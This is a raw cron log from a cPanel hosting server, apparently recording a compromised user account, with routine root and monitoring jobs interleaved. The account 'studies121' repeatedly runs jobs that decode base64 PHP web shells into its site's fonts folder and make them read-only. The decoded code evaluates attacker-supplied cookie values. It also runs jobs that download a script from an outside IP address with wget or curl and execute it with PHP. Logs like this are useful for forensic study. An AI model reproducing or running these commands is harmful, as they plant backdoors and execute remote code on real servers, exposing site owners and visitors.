Sep 22 21:47:02 ip-184-168-122-23 CROND[14847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:47:02 ip-184-168-122-23 CROND[14846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:48:01 ip-184-168-122-23 CROND[15052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:48:01 ip-184-168-122-23 CROND[15054]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:48:01 ip-184-168-122-23 CROND[15056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:48:01 ip-184-168-122-23 CROND[15055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:48:01 ip-184-168-122-23 CROND[15057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:49:01 ip-184-168-122-23 CROND[15322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:49:01 ip-184-168-122-23 CROND[15324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:49:01 ip-184-168-122-23 CROND[15325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:49:01 ip-184-168-122-23 CROND[15326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:50:01 ip-184-168-122-23 CROND[15517]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 21:50:01 ip-184-168-122-23 CROND[15519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:50:01 ip-184-168-122-23 CROND[15521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:50:01 ip-184-168-122-23 CROND[15522]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 21:50:01 ip-184-168-122-23 CROND[15526]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 21:50:01 ip-184-168-122-23 CROND[15523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:50:01 ip-184-168-122-23 CROND[15525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 21:50:01 ip-184-168-122-23 CROND[15524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:50:01 ip-184-168-122-23 CROND[15527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:51:01 ip-184-168-122-23 CROND[15679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:51:01 ip-184-168-122-23 CROND[15681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:51:01 ip-184-168-122-23 CROND[15680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:51:01 ip-184-168-122-23 CROND[15682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:52:02 ip-184-168-122-23 CROND[15967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:52:02 ip-184-168-122-23 CROND[15968]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:52:02 ip-184-168-122-23 CROND[15970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:52:02 ip-184-168-122-23 CROND[15974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:52:02 ip-184-168-122-23 CROND[15972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:53:01 ip-184-168-122-23 CROND[16429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:53:02 ip-184-168-122-23 CROND[16431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:53:02 ip-184-168-122-23 CROND[16432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:53:02 ip-184-168-122-23 CROND[16433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:54:01 ip-184-168-122-23 CROND[17021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:54:01 ip-184-168-122-23 CROND[17024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:54:01 ip-184-168-122-23 CROND[17026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:54:01 ip-184-168-122-23 CROND[17025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:54:01 ip-184-168-122-23 CROND[17023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:55:01 ip-184-168-122-23 CROND[17197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:55:01 ip-184-168-122-23 CROND[17199]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 21:55:01 ip-184-168-122-23 CROND[17200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:55:01 ip-184-168-122-23 CROND[17202]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 21:55:01 ip-184-168-122-23 CROND[17201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:55:01 ip-184-168-122-23 CROND[17203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")